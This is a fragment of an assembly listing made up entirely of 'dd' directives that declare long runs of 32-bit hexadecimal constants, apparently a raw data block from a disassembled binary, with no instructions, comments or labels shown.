dd 7A91CE1Eh, 0AF24D22Dh, 612BA544h, 0D84B032h, 87356193h
dd 5289CE58h, 73A8CF94h, 0A53B1AE8h, 0B25642C7h, 2B1D40C7h
dd 0CAE9FE59h, 966EB13Dh, 2D65A685h, 5CCBAB3Dh, 98B432E6h
dd 6FA3ECEAh, 41495A51h, 0ADA8D23Ah, 0E54B6A85h, 0D6CAD8DAh
dd 0DE5DB478h, 3D513AADh, 0B7AAEEDDh, 702DFBD5h, 0E0DC011Dh
dd 71232F6Ah, 5E47AE48h, 0A9F012FDh, 0A92CB9CFh, 823DADC3h
dd 0FAE897EBh, 0F58DC95Ah, 0EB7BACFAh, 9D21D6ECh, 4F56ACECh
dd 305DE0CAh, 5E287780h, 0D0178A28h, 0F6F2CF35h, 42F19EEFh
dd 0BBD61182h, 53F4AFCFh, 0D7F40D81h, 9702DE5Ah, 829420B8h
dd 7F686416h, 0DFF2FFh, 14A2907Bh, 24644223h, 0A0C9C273h
dd 651ADE90h, 0C1E01F0h, 0F84B08E1h, 37F61534h, 61B86786h
dd 3746F30Eh, 0CD710B32h, 1283A04Ah, 4104F107h, 538A313Ch
dd 70EEB41Ch, 3E2DA7E7h, 0A696795Ah, 0F51CF49Eh, 1AAC57A8h
dd 0F216B38Dh, 1147FF1Dh, 8FF1F203h, 21894C81h, 47ABE847h
dd 94285096h, 0BF98A16Ch, 321F436Dh, 7CA393C5h, 59BAD6FEh
dd 0E8B84599h, 1ADA8C1Dh, 0E2DBA0A3h, 2BA5724Fh, 0E63CC290h
dd 0AF291E46h, 95B34491h, 36A57CD4h, 5C4C79BBh, 139C9312h
dd 0DAC5E76Bh, 0A493CF19h, 11999ED2h, 29E06559h, 0ACAE7FD0h
dd 27ED0B65h, 761A1942h, 676CE288h, 58A9396Fh, 94D1DA34h
dd 1FA26D3Eh, 5AD3F6F5h, 32A3D31Ah, 0D342BD5h, 9A71E2DBh
dd 9E50A255h, 6A0567A7h, 0D4B6EB51h, 42ADE2C0h, 55102D50h
dd 1AD7D71Bh, 0BDAFB589h, 5DF0CDC7h, 3120D6ABh, 0BADB09Fh
dd 0AB5F6107h, 0BD36BE0Eh, 6B8D77E9h, 0D84FB09Ah, 0B1AEC5D8h
dd 6485E5A9h, 0D0BC3B2Bh, 0DEBA6F1Eh, 0A36A2EC5h, 0CED82A57h
dd 0F9F8BD76h, 20BD7DDEh, 681DF3A0h, 0C14BF0C0h, 0DCEC28BCh
dd 80B755FDh, 21B14DDBh, 0F501C644h, 0F509F7A6h, 337C00DDh
dd 0CE0F01D8h, 0FC2603B7h, 406FF16Fh, 0B81B2DC3h, 2566187h
dd 66B883F5h, 1078482Ah, 0FE70FE19h, 3A9C459Eh, 8AF8A04Dh
dd 0A27163B3h, 0ED8A7C62h, 3B159A71h, 80F46A4Eh, 0C6EA983Eh
dd 0F83F0AA0h, 70130120h, 10A400E4h, 0C6AAA102h, 2C8040C8h
dd 1368D8ABh, 5CC8AC88h, 134E5CEh, 0C94AC4E6h, 3EE6AC96h
dd 61664404h, 4A16444h, 0F86E48F5h, 6E7844E8h, 0E84E7E45h
dd 88904E86h, 6E8AADEEh, 70ACBEAEh, 6F06E188h, 0F06E4830h
dd 48F06EAEh, 9A494AF0h, 0A1984A44h, 0B004D6AFh, 3AB02CD8h
dd 0EB07329h, 9A942B1h, 0BECEE4A7h, 2EC0CF2Eh, 0D00B24ECh
dd 7E7530ACh, 875C4FA1h
dd 7650B8EDh, 70EF0EE0h, 0CEE8D187h, 516D2851h, 60D24D20h
dd 0AEF416E1h, 980D2AD2h, 3A154EFAh, 6556D345h, 79298ED3h
dd 9A42C146h, 0E56856C7h, 0F213856h, 70D42133h, 813A124Bh
dd 0B7AD48D4h, 50F24582h, 0E220F26Dh, 232F2CF4h, 347BAD60h
dd 0A7D27BEFh, 2529C25Ah, 4512EF40h, 0E0E8BB4Fh, 51FE38F4h
dd 0BB0F40D7h, 88240D6Eh, 0AF5ED88Dh, 0BBCF64F3h, 7C284D98h
dd 20A65D02h, 0DA65DEF7h, 8C5E25E0h, 4F7E9F20h, 0BDCDB62Bh
dd 8A2CE5F4h, 0AA08BE8Fh, 60CDC82Dh, 0F8F9860Eh, 883ADD0Bh
dd 0C04A2200h, 88DDAC06h, 0A0240680h, 62EFACFAh, 0F0FB4FB2h
dd 4FBAFBADh, 1D1AADFh, 0C4032DFEh, 0A036A4AFh, 0A5B1BB1Bh
dd 2C036042h, 0AFCE0360h, 0FD437604h, 0D4C431D0h, 0AFE0C411h
dd 88AFE4A6h, 0E4FECA78h, 0C3BF1E51h, 1EC0A468h, 0D089CE2Dh
dd 0AFFE3D03h, 0A8EE383Dh, 63E20F4h, 46B0E430h, 3F901501h
dd 7B01AC74h, 8406C7ACh, 0AB1026AAh, 0CF02CE54h, 0B03C8E06h
dd 0E6214522h, 428EB03Eh, 0D0490470h, 8F705304h, 79056450h
dd 305E46AEh, 50106246h, 6A180474h, 217C47F0h, 77070CCh
dd 62182189h, 6E9925F2h, 49491E49h, 0A04DE4A2h, 108EEA2Eh
dd 0CE309309h, 0EA4D1096h, 0F0A0EB6Ch, 4B18FEEBh, 4E3086CFh
dd 0F074849Eh, 30ACCFC4h, 0B264F8D0h, 0A90B84F4h, 0F0BCB372h
dd 0B430C6D1h, 7A762D20h, 6D1EB461h, 0CD2B8B4h, 52B3D0D3h
dd 4EFCEFABh, 0F06B5F0Eh, 92564B64h, 0A1441389h, 0FA13879h
dd 6E57256Bh, 413299ABh, 12657B10h, 1D10CB78h, 6119110Fh
dd 0D5D11859h, 35302232h, 0CD847D2Fh, 12A7E6D8h, 8512F12Dh
dd 131C0F0Dh, 0F60F60Fh, 360F7320h, 6F4D1391h, 0D6EF44F4h
dd 0B6D70F56h, 4F60F405h, 150D8C5Ah, 0A65C4289h, 0D15EF700h
dd 0DACDAB15h, 0DA2B916Ah, 89FE812Bh, 0DC0F8CF8h, 7EA0ADC4h
dd 0EF962EF1h, 2202A82h, 6833372h, 0F18D18E3h, 62631830h
dd 0E0DDCFA2h, 0CA3AC18Dh, 0FB31A4A3h, 0AB3971A8h, 2FBAC211h
dd 1B13A003h, 373A0027h, 0F1BD1B80h, 1C31BD3Ah, 0D31CB3AFh
dd 0C3851D31h, 0E1A88087h, 7EFE91DEh, 0B3CD1E60h, 1F31F11Eh
dd 0CC0C80A5h, 83D20C83h, 0D1FD1FFEh, 0F40D51Fh, 0EE6AB202h
dd 83F52080h, 20CC720Fh, 78116103h, 68CF216Ch, 6C6AAA11h
dd 2C8D721Eh, 26D502D0h, 3B22A6Dh, 0C614322Fh, 28F043CAh
dd 44A4568Fh, 472448F8h, 0ECB0CAF2h, 70475845h, 0E647D252h
dd 0F44018AAh, 26907B25h, 1C91F06Fh, 872126E7h, 4B272527h
dd 0AD09127Ah, 24C8734Eh, 9A4CF28h, 4728ACEFh, 3290CF49h
dd 18F29347h, 9E194CF8h, 84EAD012h, 2A70B24Fh, 0AB488507h
dd 0D0D4EDD2h, 2B2EE10Ch, 0C2D1E773h, 61770D72h, 2CA52F0Dh
dd 0D10E32CDh, 0B5E5592h, 0EF2D899h, 3F0FA797h, 52E34BE1h
dd 2EF2E92Eh, 0F87A4B73h, 67B658D2h, 59823111h, 0B32CF2Ah
dd 0B33CF493h, 31730F12h, 0F00EB319h, 332331A0h, 3254F54Fh
dd 1914132Dh, 0C0E93373h, 30F14423h, 3E24E251h, 85C4F673h
dd 28A27E5Ch, 5135134Ah, 62AB1653h, 16D35716h, 0BB35D16Fh
dd 0FE04F8ADh, 42DEDC0Ah, 8262E004h, 70A15180h, 2306DD13h
dd 62401202h, 18DD6312h, 11951923h, 1A232204h, 0A2024C21h
dd 0B396FBD1h, 0FBD39E01h, 0A156E038h, 40380333h, 3B157557h
dd 513B557Dh, 0C0500360h, 431D0E0h, 0DF58F3BAh, 0F1DE074Fh
dd 3CD3C806h, 0D51EF3CDh, 80C8E2D3h, 0A8A0C20Ch, 0E269E0BEh
dd 0B3EA8AD3h, 6B8A993Eh, 0E3FA6B6h, 60F92110h, 40720C11h
dd 7B40101Eh, 66C8C82Ch, 0E54C848Dh, 0E0136128h, 6134C8B5h
dd 0E6503D41h, 3541C140h, 0D2392372h, 426CA523h, 6942C453h
dd 2CAC46C1h, 7566FF43h, 91439438h, 0D269442Eh, 19507A48h
dd 9E920492h, 0B4547224h, 0EA41A6AFh, 0B8B0072Ch, 0E4B41AE4h
dd 0EA96341Ah, 0B473B464h, 146EB14Eh, 4E24DE4Eh, 784A7470h
dd 0C4ECEC34h, 4830AD29h, 8E4F24F5h, 74874861h, 2AAB304Fh
dd 0B12AE517h, 4D1D4992h, 49F49349h, 0A2512765h, 0C9FE4A54h
dd 0A982D250h, 4AF2CF4Ah, 0ED2D6F05h, 0C13842D0h, 13B2E256h
dd 0A169D4C2h, 0B4CD4C36h, 2FAF1B10h, 922274D3h, 4B92F28Bh
dd 11B13930h, 334E0B95h, 0ABA312F3h, 13F6CA0Eh, 1D4EEF41h
dd 62234F53h, 2313234Fh, 280E8F4Ch, 11494FD3h, 50714114h
dd 0E9C16CDh, 47EA5C35h, 156BC115h, 5351D51Bh, 62AA0993h
dd 526BD480h, 0FD52A2BBh, 13633609h, 4CDC282h, 83722608h
dd 48311851h, 30630883h, 231137Eh, 5555552Ch, 55A05B19h
dd 60FB3561h, 0A01B7475h, 74C01D19h, 5356E01Dh, 957156F7h
dd 57757375h, 511BB56Fh, 0D7675820h, 76776557h, 14FD5591h
dd 0A881592Eh, 0FE8FE577h, 9D3CA09Ah, 35A33CF5h, 5A75A6A8h
dd 368A88A9h, 70035B2Eh, 5BC0D53Eh, 0D06C1019h, 0F400E4C8h
dd 40940611h, 0DD5DC413h, 0F4155E35h, 14B5EAC8h, 348E7230h
dd 81661592h, 552397Ch, 0D17D3601h, 7160FE4Ah, 8CB56021h
dd 17560D60h, 5561160Eh, 0B06E4792h, 71361618h, 9692126Ch
dd 0D08B64A1h, 0CD6724AFh, 0AE4B9630h, 0F63272A4h, 0EB10944Bh
dd 0C81A44C0h, 0F81D6464h, 29449B46h, 9AEC6199h, 4CFD82B2h
dd 0D0582A18h, 9148E184h, 496D0D74h, 16E51F67h, 7D67C97Ch
dd 36818469h, 0D2897D2Ch, 2E77C522h, 10DED2EDh, 2D4F072Dh
dd 0DD6974B5h, 369A1332h, 86D0FB4Ch, 0A569D69Bh, 0AB7B6AC9h
dd 4D36B258h, 2D6BCF4Dh, 0A2631393h, 4EB33D4Eh, 1E0E94FDh
dd 0F4F76DD3h, 0FF89C21h, 0DD3236D6h, 18AD6EA7h, 7CC7DF6Dh
dd 556FAB9Ch, 0ED9CD971h, 16134A5Ch, 985E3161h, 997080h
dd 2BC2B171h, 0F0072080h, 5F6BE05h, 82153353h, 0E62DA2E0h
dd 172736A2h, 61A2F937h, 1E30A308h, 973554AAh, 0A2938773h
dd 4373E088h, 6DF574B7h, 3A002574h, 19558025h, 0F7580419h
dd 92375D91h, 38051759h, 859280FEh, 11BD5835h, 77392F93h
dd 3D93B77Bh, 8A775959h, 0FEC3A759h, 0E5787784h, 0B1E60A51h
dd 78E3C178h, 98A8B3D9h, 19613E97h, 0F53E796h, 0A30160F2h
dd 37A73FB7h, 11F2166Ch, 0D9979978h, 0E410C855h, 9875E15Dh
dd 24ABC417h, 0F5E6C944h, 0E6414B03h, 0F214E42Ch, 97CC14D5h
dd 7DB42D23h, 7A9077D5h, 9069067h, 7E74377Eh, 67077E9h
dd 27194447h, 44D9C271h, 2449CAF7h, 72764A76h, 80492E4Ah
dd 0B45962Dh, 0F8124D38h, 81E4D563h, 9A73F9E9h, 0CCFAEC64h
dd 0D0583382h, 0C96966Ah, 0D20D10Dh, 8452C784h, 8276384Dh
dd 5A0B84B6h, 0A1384651h, 60D23497h, 0D30EF81h, 0F0986586h
dd 761452D8h, 586D86D8h, 0F987256h, 896AF2EBh, 62102105h
dd 21E11C10h, 23882592h, 0B88911A2h, 25CF5188h, 5D890F42h
dd 789AF5BAh, 89C2200Fh, 0A76DFA69h, 91354F38h, 9D512E5Bh
dd 0FE9BE9C2h, 1425227Eh, 65CED975h, 0F73160BCh, 829E08Ch
dd 18CE0917h, 16B70E08h, 6E2AE077h, 2BE25F71h, 8218E22Dh
dd 3D8E62D8h, 1540A135h, 306BFB8Fh, 1732836h, 0F903900Ch
dd 90AA2C31h, 1AA2DACDh, 1919AD39h, 76192592h, 5803375Dh
dd 80360380h, 76A05805h, 6792F585h, 0E137717h, 93F93F1Dh
dd 8289088Dh, 794D94B7h, 9523B71Eh, 0C20C8C5Bh, 0B7919583h
dd 9633E2FFh, 0BD3E9965h, 37A26B55h, 10B97597h, 2197B97Ah
dd 0A4146C61h, 5E398798h, 2F98F98Dh, 0A14A4352h, 99614C14h
dd 5414D99Bh, 7044C9A1h
dd 2459A416h, 0B1B5D605h, 216B9AD9h, 0CB77DF9Bh, 324E4FCh
dd 97EB60E5h, 47B06847h, 1AAF5444h, 0CCCECCF6h, 0AFF08B7Fh
dd 8E4CD804h, 0F818CD70h, 9E4B0E4Ch, 0A19EB9E7h, 54784A9Bh
dd 9F7BA99Fh, 12ED895Dh, 0D2C2EDC5h, 519A04EEh, 11851A10h
dd 0B84984BAh, 0BC968217h, 0B5FE10CFh, 274AF85Eh, 6D3F867Ah
dd 4C9BDD4Ch, 407AB4CDh, 8213BE7Ah, 6E1A4DA4h, 53304F2Bh
dd 788B6BBAh, 0A5ED72D7h, 9B31B6D1h, 3A6B6DB8h, 8A9A6F8Ah
dd 75A75899h, 3132D83Ah, 0BBB8B58Bh, 0EFA8027Ch, 0A18BE7h
dd 70534CDAh, 922ABA91h, 3527A9BAh, 0A00F84F8h, 0E881805Ch
dd 602BEABh, 60D72372h, 77728612h, 0E61F8F53h, 0AC554FABh
dd 59197AC7h, 7917ACB5h, 0C6FAD591h, 5973F559h, 8039AD95h
dd 56FAE005h, 83C83AE9h, 0BC89AF3Ch, 0AFA051C8h, 4006FAFBh
dd 3B00FE79h, 787B0608h, 0A40AA0A5h, 55A40ABCh, 1FBB15B1h
dd 63B1C3DBh, 20F59679h, 4006BB21h, 17B288C1h, 0E121B2E1h
dd 11E41011h, 1C1288D8h, 0ABBB3A4h, 9988E55Eh, 532346DFh
dd 415843BBh, 0CADB595Fh, 6457B5Eh, 0BB62AD49h, 0B67CFA6Fh
dd 0B696105Fh, 7257B759h, 7F37EDB7h, 86AF6CCDh, 0B9D3823Bh
dd 9D84D84Ah, 4D01FEA1h, 179E0936h, 0D4638198h, 2864CBB9h
dd 53BA1BA3h, 0FD3DBAB6h, 17BBB1BAh, 0C65152ACh, 98416792h
dd 0BCBBC851h, 53BC5A0Dh, 0B68167DDh, 672177BCh, 254AA521h
dd 0CD39BD7Ah, 79B0FED3h, 1D730F6h, 0A9A72F31h, 7AE21020h
dd 860FE590h, 93036B3Dh, 0D91307BFh, 8E237A53h, 0F12FC018h
dd 0FF31D31h, 0DDDA5A64h, 0FC0B8A16h, 6E7DA96Dh, 57C1731Dh
dd 23D332Fh, 270F3CBBh, 0D8D938B6h, 22811520h, 0C2D8BE28h
dd 72F75C2Fh, 0B8CB8CAFh, 8D38D170h, 41AA58DBh, 0F179C45Ch
dd 0C4EDC5AAh, 2ABF753Fh, 1ABF8F57h, 0A27737ACh, 8631DAC6h
dd 0FC71C640h, 0E1205BE0h, 5BE12041h, 5E120380h, 0E23E21C8h
dd 0E8051C85h, 3767C8DAh, 8208209h, 81E3593Ah, 0F77BC948h
dd 3A994007h, 0EDE33E32h, 0D59C0AAFh, 0CA409BE4h, 0A5CA359Fh
dd 1CAD78DCh, 95FB140Dh, 0F9965B1Fh, 0C1020F40h, 5D15CFCBh
dd 8D15D1FEh, 0B0406122h, 0A6C9CC8Ah, 0CDD02F02h, 38E5F987h
dd 0FB4842D0h, 43DB5199h, 0AB9A3B58h, 0BCFBCF4Ch, 0EA3EA1CFh
dd 0AA176171h, 2176465Eh, 174170CBh, 7D046FAh, 70890FDh
dd 48B0719Ch, 959C3EC6h, 619C1961h, 0D1A74182h, 95279801h
dd 81A7B99Bh, 0D31281D2h, 36EB7469h, 44EB647Dh, 4804EB65h
dd 0F6EC8959h, 58392A19h, 0D4A513BBh, 0B50C1673h, 5A130D52h
dd 0D5DBC1A1h, 2FD654A3h, 9A2568C5h, 0F10562F0h, 0A0F10F12h
dd 5A41D7E9h, 0A4A7B3D8h, 5B3087B7h, 0ED5DA50Dh, 0F3788659h
dd 6FD9D6C6h, 80F1DA0Dh, 0DB36D9C0h, 0ADF5BDA9h, 7DB38A1Dh
dd 0D79337DBh, 3ABA5A58h, 0CD90240Fh, 0B11549Dh, 5B34A27Ch
dd 0CDA715D1h, 0DE3C37DDh, 3FDE7AA1h, 0A05CF89Ch, 0DF3365AAh
dd 9B8EFDF5h, 0CA1E61CFh, 55283B54h, 0B431DE07h, 7E0FE0C0h
dd 0FB7E19E1h, 25FBBFB9h, 0A07BFBFEh, 0FEBE2A07h, 0FCBE47C8h
dd 81E30093h, 3A60828h, 0E4607E88h, 0ABE463A5h, 7CA7E320h
dd 0FE7FE9FEh, 100ABE53h, 0D3D7CA9Bh, 0D00C9CAh, 1FFBFFCh
dd 341BCC82h, 39BCEC76h, 0C28F46F8h, 0A8D47A85h, 5026A851h
dd 28B45A0h, 28589215h, 8F42C6A3h, 48A46A36h, 91A451F1h
dd 0AA412123h, 25653284h, 55369B4Ah, 6629A4DAh, 413199A8h
dd 0A199A81h, 3C532894h, 0A534FA7Bh, 5550678Ah, 3ACD58ACh
dd 51D6948Ah, 39714C5Ah, 0AA350A7Dh, 74B8A9D4h, 756A7AE9h
dd 56A72D97h, 0EAFD7ABBh, 5D2F97D5h, 58ECB62h, 0B12D3686h
dd 0AEDB6CB5h, 2E0C4655h, 94CB65B1h, 0ECC67331h, 0D0675E2Eh
dd 0FBFB3EFAh, 0C1E01A0Ch, 9B42FAD2h, 62B12D26h, 2F10D669h
dd 0B238FC66h, 2ACDC9E4h, 398C1B37h, 7FCDE6B3h, 0E6631D8Fh
dd 63E8B439h, 0E9B4AC8h, 30984C8Dh, 0B97EC8D3h, 57FB0D7Eh
dd 61B4D9AFh, 2B7D9ADDh, 5BFEEEB7h, 0FEFB7AB0h, 6E77BC0Dh
dd 0ED77B7DBh, 78FB4DA2h, 8CBDE572h, 6BDE7F23h, 0B0E0EF37h
dd 857F596Ah, 57F6BB3Dh, 0FF7BBAAAh, 0F8947DDEh, 77CBE4F1h
dd 7D29DF12h, 329C5127h, 5EEF6A65h, 0F3F9A73Dh, 349A4BD3h
dd 49239249h, 0EA27F9FCh, 2239FCFh, 8148380Ah, 47F81606h
dd 982E0A82h, 0DC7F1DE0h, 111C4771h, 852141C6h, 0A1084211h
dd 1C21885h, 0D4758547h, 2287E1C1h, 87C7488Ah, 0C7F89C78h
dd 0B8307889h, 0B60A8B47h, 821FC7B8h, 8CC82828h, 22D8DE0Ch
dd 51D22A1Dh, 807088A2h, 658823F8h, 9164490Ch, 0A4591E46h
dd 0E92E4A17h, 34601805h, 581624A9h, 13C5314Ch, 0E5514050h
dd 0A1425A13h, 7C4C96A5h, 40984489h, 9966498Ch, 0C4099E66h
dd 90E43B0Eh, 0B4360D83h, 2F0AE6D9h, 0B82B0ACh, 2779DE76h
dd 0C0982409h, 0FC2209A7h, 1808A809h, 5683A0Ch, 686A1E86h
dd 1A2E8A04h, 0F03FEC1h, 1009024h, 4A4E90h, 0A5C0301h
dd 6E9AA640h, 4416A9AAh, 80340D0h, 6A2A882Dh, 8A9EA60Bh
dd 0A6AAAA6Ah, 0AD0B42CAh, 0AC43D0B6h, 6B4AC42Ch, 7AC441ADh
dd 0EEBA106Bh, 0BA12441Ah, 106BE0EAh, 3F0FC3Ah, 8156C6AFh
dd 2ECAB26Ch, 6414AC9Bh, 0B4464154h, 2D3B4ED2h, 41A2D61Ah
dd 15054106h, 0C431094h, 42881449h, 11BB8115h, 623D1B24h
dd 911F4752h, 95BB2EC4h, 2692A244h, 4954B928h, 64E6F64Ch
dd 9D384D93h, 3D4FCA52h, 5053D2B1h, 54851540h, 4530B3C1h
dd 50B9548Bh, 0B953F0C5h, 58310C3Ch, 0F12C4F12h, 5956658h
dd 9695ACCh, 0CA5B56E3h, 32B1F5C8h, 0CBC7D74h, 0C5FD775Eh
dd 41805F97h, 0D233D8B3h, 34D87604h, 33434F31h, 0BCD18DCDh
dd 333A3598h, 9164CD66h, 63D94CF5h, 343CBD7Fh, 0E66D9CD1h
dd 2B496819h, 0C86B1A8Dh, 699AA6A0h, 4C2694BFh, 22F5AF6Ch
dd 0B7721BFEh, 701D26D1h, 1BD751C3h, 62EDB36Eh, 236473D5h
dd 0CE729C67h, 6E5CF731h, 9C474DD1h, 0B2D4AF6Fh, 81D9DD5Dh
dd 7A795E07h, 28DE7793h, 0DEC27DEAh, 0D7BDF37Bh, 0F852709h
dd 8AE2600Eh, 80A03803h, 0E0781C8Ch, 7837928Dh, 5E1986A1h
dd 1C86E138h, 90641876h, 0E2D87E24h, 0B8BE3089h, 0C630E8E0h
dd 328DA328h, 0EA07FE9Eh, 7A78C7ADh, 88C7B8Eh, 0D6438FA4h
dd 48EE6481h, 92A4C1B2h, 86093E4Eh, 79625394h, 1A569765h
dd 4C97C4FFh, 10048984h, 7D09A3CDh, 0B9AE6A99h, 0E66E9BC3h
dd 2F0BA720h, 9E2780BCh, 67E9F67Ah, 20627FA0h, 1E889FE8h
dd 8EA328CAh, 0FB693A46h, 3A5C09h, 0CA73F100h, 0AE9FA7A9h
dd 0A60D2ABAh, 0FE27D0D2h, 2D10AA6h, 80500021h, 1A02AB5h
dd 24AC6569h, 0C657AB04h, 1EB3163Ah, 48292C88h, 92D00A50h
dd 40CC1996h, 0AB5A0CADh, 8832DA20h, 0FEB5BC41h, 64497090h
dd 97187A11h, 8F5D447h, 852B9974h, 0A448126h, 4A2ED853h
dd 0F013648Ch, 0EC4B579Ah, 0D49809A5h, 0C2FA134Bh, 0C1404CC9h
dd 0CBF97EAFh, 4A2B0014h, 8AC28851h, 15E2CCECh, 2E059B06h
dd 8830C29Ah, 5229CC29h, 0ACC45884h, 645D0B98h, 0C5C6291h
dd 0A630590Bh, 0CC758C96h, 0D9097063h, 9782ECC8h, 65CCA8CCh
dd 0CCCC997Dh, 9C47066Ah, 3C676625h, 7663E3A3h, 0C84786h
dd 6B2E322Dh, 78FD1F59h, 67CCCB4h, 5A548434h, 9A434A5Eh
dd 34C68DA7h, 0D58D51ABh, 581CF360h, 0C2376DB4h, 7D250E91h
dd 0A45B9D33h, 10BD6D8Dh
dd 0A3547206h, 738E39Ah, 8E39CD3Ah, 0C9A17726h, 3AC755AFh
dd 0DD0EC4ACh, 0BC3776ECh, 7A6F6779h, 3E28CF4Bh, 165C1E91h
dd 0A38213EEh, 33DA7D4Fh, 67E1C51Fh, 9C69FD71h, 88C10623h
dd 40D32664h, 861C9393h, 67A12426h, 1F430E62h, 68E79CDAh
dd 15FE0757h, 9456825h, 60E91D1Ah, 891ABA67h, 8A2E9C73h
dd 0F1399Dh, 93A91E23h, 11123D76h, 6C9DE1Bh, 494EE5DDh
dd 0EFDDF3BCh, 2F25249Eh, 5C0A6950h, 94F21E42h, 35E63CB7h
dd 43D179EFh, 0C7AAF513h, 40E1EC26h, 9EEA734Eh, 0A7B4F49Dh
dd 7CAF893Eh, 6142A82h, 473E97CEh, 0EE023469h, 0DE00D49Bh
dd 0D5FA2987h, 29F0B8Fh, 97F4FE95h, 4110222Ah, 0C2252B08h
dd 52FA5C10h, 0A674CA01h, 0F69AD34h, 9C537084h, 0BB57101Eh
dd 7502960Ah, 42A00555h, 0AC138210h, 45921982h, 70660C06h
dd 83B064A9h, 0ADC20EB6h, 2170816Dh, 45089920h, 8EC2722Ch
dd 2A5D30B4h, 0DA48A174h, 861A0915h, 2C382615h, 0C14226ABh
dd 64DD7C43h, 57E0A75Fh, 44627D5Bh, 60851982h, 134EC147h
dd 2C4552A9h, 66AF75EAh, 0BB16D8A1h, 7CB2B148h, 40C518B1h
dd 42D918CBh, 519E3397h, 0C6632164h, 998B1C33h, 8616FE35h
dd 63799265h, 47466D1Ch, 8ED6699Dh, 67ACDB39h, 0C4B3E8F7h
dd 81684D14h, 4E5E4CCCh, 8ED3DA8Bh, 71AB3466h, 6AF23DAh
dd 4D70D71Dh, 0A4B49537h, 0BA39F25h, 1842E8DAh, 2824EDB9h
dd 5236B943h, 0A2398D8Eh, 8F2B0E94h, 72584AFBh, 0A1E19647h
dd 0F3CF73A5h, 42704FB7h, 0F49EDBAh, 993DE7Dh, 9887E661h
dd 329C69FAh, 66B91995h, 1599E82Eh, 0CD79268Ah, 943AA10Bh
dd 5222BD57h, 0E9B88AD1h, 0EA117BAh, 6714E376h, 235BEA82h
dd 9CD7EA73h, 35D1ECEAh, 794F073Dh, 4B9E0EE6h, 0BC93E7BAh
dd 61250580h, 0ECFE4B29h, 2A034012h, 0A1182426h, 0DE9D06A0h
dd 3806CF5h, 7B8F681Ch, 993CD0Eh, 0F2D13A22h, 1702AA11h
dd 1D465445h, 428EA8B5h, 9BF2524Ah, 0E535489Fh, 749A9506h
dd 0A952A0C6h, 0D2AC6F8Dh, 0A554BC21h, 4D695C02h, 9DD36C7Fh
dd 4957815Eh, 87915640h, 460A648Ah, 4C82EBFEh, 3352AA5Eh
dd 0BD6E2DB8h, 6552CA21h, 84A4508h, 822C8F12h, 0A1792223h
dd 92824F57h, 0AB82572Fh, 4B6B1C33h, 7CD6586Eh, 6BCD44DDh
dd 0DA29452Eh, 12B7E6EAh, 30B388D1h, 8899134Ah, 6C1E2667h
dd 987B0ACFh, 0B178B02Fh, 0D02C40B2h, 0A18B2162h, 0C0685D0Bh
dd 0C217D172h, 0D6158B8h, 8AC5587Bh, 0C976B16Ch, 28D563CBh
dd 0ECFAD198h, 8C446D30h, 4721A5A7h, 19B684C8h, 0CF6CF98Ah
dd 0D15A1D48h, 0A59011FEh, 5F6A4C05h, 8AD5979Dh, 95AFB5C6h
dd 0F6B3292Dh, 76D9AFB6h, 0CAF36ED7h, 0C2B766Ch, 0B7F6F863h
dd 271B58C2h, 4A49CB87h, 0CA956DC2h, 55730ED5h, 0F4F35CE1h
dd 39EA6FCDh, 93DCE15Ch, 276EB09h, 0EEDA00BBh, 0CC6BB930h
dd 990E3EEFh, 82AF16E3h, 8396BCEh, 19DD21E1h, 461C50F2h
dd 0B1D2CDC4h, 0C20C4648h, 6DEC8DAFh, 73826ECEh, 11E3A1BEh
dd 0A209AA1Eh, 0FEE87276h, 0B0121C9Dh, 865C0891h, 0E1493926h
dd 8327DBBDh, 0E484C9FFh, 63A04F29h, 0CD85309Ah, 0E2843D34h
dd 0DA764DA0h, 5F439Eh, 0A9F1F051h, 54262103h, 0BEA7D189h
dd 0C554728Dh, 0CB9F9520h, 37299C5Fh, 34C71490h, 0B41139AFh
dd 0F71B63A0h, 0BE3FC818h, 0E085CF82h, 20F42BF3h, 82AF44E8h
dd 0F48C91CFh, 5AF05EA3h, 532A4C16h, 82E54A99h, 0BCAA1E8h
dd 415503E1h, 2C8DE5B2h, 0F42FCBA2h, 0DCC39832h, 0E48894F5h
dd 4DF64CCh, 0D6A26B5Ah, 1424E61Eh, 5B737E71h, 3B142EDFh
dd 7860B137h, 1654D82Eh, 0E7416806h, 0EE84D042h, 0D15A27Bh
dd 55B46F8h, 2C20BE94h, 96E8C45Bh, 2EBE2AC4h, 0A5865C66h
dd 97984D33h, 94313AA9h, 325F74DDh, 58C96A9Bh, 0D989D506h
dd 4F39AA3Ch, 1AB4C9DAh, 0E41DAA33h, 34FD65ABh, 0D6A6B5A7h
dd 0AD8E46B8h, 5CEB96B7h, 0C8B666EFh, 81B0CAE9h, 0E7626C4Dh
dd 63FEB896h, 96DB252Bh, 545A9C1Dh, 0FECFB947h, 969B44Eh
dd 32F8F3DDh, 2606D63Eh, 0EDE3F9B6h, 4027EAEDh, 0B8AEF5DDh
dd 0C9DE1BBFh, 7CFB61F1h, 0D6E5AF28h, 0B83BCD2Dh, 507544F7h
dd 4471BC50h, 1BD91BEFh, 0EFCDF7BFh, 3B04661Eh, 0E8EC77Ah
dd 0F9274230h, 6B22147Fh, 2FF5FEAh, 1690F00Eh, 0A25070BEh
dd 25970E24h, 0F25E70Fh, 46100486h, 71626850h, 926A267h
dd 0E03826F5h, 27C3DD71h, 0DB026276h, 427C02F3h, 72672502h
dd 8A0153E7h, 0B82151A2h, 3F062A3Eh, 3000472Eh, 0C06D0007h
dd 73673305h, 2B82B637h, 283105A8h, 82F83183h, 3774405Ch
dd 0A8398388h, 74874783h, 4C546546h, 22D70666h, 2D62D884h
dd 768462D9h, 175154B0h, 2DE75365h, 5875707Eh, 912065B6h
dd 2ED08B42h, 2A08F75Dh, 12F012A1h, 12885709h, 2D12F439h
dd 97661331h, 0A513676h, 6C0A543Dh, 0E66E56E7h, 0A7FE76h
dd 7721DD14h, 4C148773h, 0D3060B54h, 77E67E67h, 80878877h
dd 0C16B7807h, 5845BF5Bh, 6B5870C5h, 269478B1h, 1815A732h
dd 6D191698h, 0A1865A14h, 0D70D759h, 9988F0D6h, 0A19518A7h
dd 79F6A479h, 7C6AB7A2h, 0A19D7A34h, 0C719D34h, 890CF19Dh
dd 0A6B348A4h, 3567AB7Ah, 0B87AD6B7h, 0B1D036E1h, 3583628Ah
dd 0C40BF6C0h, 57B96C36h, 36B49B6Ch, 5A4A67BBh, 81B93713h
dd 3764AD5Ch, 0C55CB0AAh, 0B6D17C77h, 3876D97Ch, 0DC5D57CBh
dd 76E138A5h, 4CC5E07Dh, 877DB4CDh, 67DE0870h, 6EA20F5Eh
